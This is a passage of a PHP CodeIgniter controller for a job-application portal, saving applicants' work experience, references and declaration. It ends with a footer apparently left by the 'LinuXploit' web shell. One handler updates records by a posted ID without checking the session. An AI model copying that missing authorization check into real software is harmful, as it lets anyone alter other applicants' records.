                "extra" => ($extra == null || $extra == "") ? "" : $extra,
                "step4" => "T"
            );
            //print_r($applicationData);

            $this->db->trans_start();
            $this->ApplicationManagement->upudateApplicationDetails($applicationData, $this->input->post("app_details_id"));
            $this->db->trans_complete();
            if ($this->db->trans_status() !== false) {
                $this->session->set_flashdata("successMessage", "Qualification Data Updated Successfully.");
                redirect("user/Dashboard");
            } else {
                $this->session->set_flashdata("successMessage", "Failed To Update Reseach And Publications Data.");
                redirect("user/Application/researchAndPublication");
            }
        }
    }

    public function workExperienceAndReference() {
        if ($this->sessionvalidator->validateSession("userData")) {
            $userData = $this->session->userdata("userData");
            $viewData["fifthStep"] = $this->DashboardManagement->getStepsDetails(5)->result()[0];
            $viewData["app_details"] = $this->ApplicationManagement->getUserApplicationDeatilsID($userData["user_id"])->result()[0];
            $viewData["firstStep"] = $this->DashboardManagement->getStepsDetails(1)->result()[0]; //compulsaory in all steps
            $this->load->view("user/workExperienceAndReference", $viewData);
        } else {
            redirect("Home");
        }
    }

    public function saveWorkExperienceAndReference() {
        $industry = $this->input->post("industry");
        $academic = $this->input->post("academic");
        $emp1 = $this->input->post("emp1");
        $loc1 = $this->input->post("loc1");
        $desig1 = $this->input->post("desig1");
        $duration1 = $this->input->post("duration1");
        $emp2 = $this->input->post("emp2");
        $loc2 = $this->input->post("loc2");
        $desig2 = $this->input->post("desig2");
        $duration2 = $this->input->post("duration2");
        $ref1 = $this->input->post("ref1");
        $ref2 = $this->input->post("ref2");
        if (($industry == null || $industry == 0) && ($academic == null || $academic == 0) && ($emp1 == null || $emp1 == "") && ($loc1 == null || $loc1 == "") && ($desig1 == null || $desig1 == "") && ($duration1 == null || $duration1 == "") && ($ref1 == null || $ref1 == "") && ($emp2 == null || $emp2 == "") && ($loc2 == null || $loc2 == "") && ($desig2 == null || $desig2 == "") && ($duration2 == null || $duration2 == "") && ($ref2 == null || $ref2 == "")) {
            redirect("user/Dashboard");
        } else {
            $applicationData = array(
                "industry" => ($industry == null || $industry == "") ? 0 : $industry,
                "academic" => ($academic == null || $academic == "") ? 0 : $academic,
                "emp1" => ($emp1 == null || $emp1 == "") ? "" : $emp1,
                "loc1" => ($loc1 == null || $loc1 == "") ? "" : $loc1,
                "desig1" => ($desig1 == null || $desig1 == "") ? "" : $desig1,
                "duration1" => ($duration1 == null || $duration1 == "") ? "" : $duration1,
                "ref1" => ($ref1 == null || $ref1 == "") ? "" : $ref1,
                "emp2" => ($emp2 == null || $emp2 == "") ? "" : $emp2,
                "loc2" => ($loc2 == null || $loc2 == "") ? "" : $loc2,
                "desig2" => ($desig2 == null || $desig2 == "") ? "" : $desig2,
                "duration2" => ($duration2 == null || $duration2 == "") ? "" : $duration2,
                "ref2" => ($ref2 == null || $ref2 == "") ? "" : $ref2,
                "step5" => "T"
            );
            //print_r($applicationData);
            $this->db->trans_start();
            $this->ApplicationManagement->upudateApplicationDetails($applicationData, $this->input->post("app_details_id"));
            $this->db->trans_complete();
            if ($this->db->trans_status() !== false) {
                $this->session->set_flashdata("successMessage", "Work Experience And Reference Data Updated Successfully.");
                redirect("user/Dashboard");
            } else {
                $this->session->set_flashdata("successMessage", "Failed To Update Work Experience And Reference Data.");
                redirect("user/Application/workExperienceAndReference");
            }
        }
    }

    public function declaration() {
        if ($this->sessionvalidator->validateSession("userData")) {
            $userData = $this->session->userdata("userData");
            $current_application_id = $this->session->userdata("application_id");
            $viewData["sixthStep"] = $this->DashboardManagement->getStepsDetails(6)->result()[0];
            $viewData["app_details"] = $this->ApplicationManagement->getUserApplicationDeatilsID($userData["user_id"])->result()[0];
            $viewData["firstStep"] = $this->DashboardManagement->getStepsDetails(1)->result()[0]; //compulsaory in all steps
            $viewData["appliedVacancyInfos"] = $this->ApplicationManagement->getApplicationsByApplicationDispIDForDeclaration($current_application_id)->result();
            $this->load->view("user/declaration", $viewData);
        } else {
            redirect("Home");
        }
    }

    public function saveDeclaration() {
        if ($this->sessionvalidator->validateSession("userData")) {
            $this->form_validation->set_rules("declare", "declare", "required", array("required" => "Tick The Declaration Option To Submit Your Application."));

            if ($this->form_validation->run() == false) {
                $this->declaration();
            } else {
                $current_application_id = $this->session->userdata("application_id");
                $app_details_id = $this->input->post("app_details_id");
                $app_details = $this->ApplicationManagement->getUserApplicationDeatilsIDByApplicationID($app_details_id)->result()[0];
                $userData = $this->session->userdata("userData");
                if ($app_details->step1 == "T" && $app_details->step2 == "T" && $app_details->step3 == "T") {
                    $appliedVacancy = $this->ApplicationManagement->getCurrentlyActiveAppliedVacanies(date("Y-m-d"), $current_application_id)->result();
                    $applicationData = array(
                        "step6" => "T",
                        "regdt" => date("Y-m-d H:i:s")
                    );
                    $this->db->trans_start();
                    for ($i = 0; $i < sizeof($appliedVacancy); $i++) {
                        $this->ApplicationManagement->updateApplicationDeclaration(array("am_declaration" => "T"), $appliedVacancy[$i]->am_id);
                    }
                    $this->ApplicationManagement->upudateApplicationDetails($applicationData, $app_details_id);
                    $this->UserManagement->updateUser(array("current_application_id" => "", "um_id" => $userData["user_id"]));
                    $this->db->trans_complete();
                    if ($this->db->trans_status() !== false) {
                        $this->session->set_flashdata("successMessage", "Declaration Data Updated Successfully.");
                        redirect("user/Dashboard");
                    } else {
                        $this->session->set_flashdata("successMessage", "Failed To Update Declaration Data.");
                        redirect("user/Application/declaration");
                    }
                } else {
                    $this->session->set_flashdata("errorMessage", "Please Ensure That You Have Duely Filled The 1st Three Step's Forms As They Are Mandatory.");
                    redirect("user/Application/declaration");
                }
            }
        } else {
            redirect("Home");
        }
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit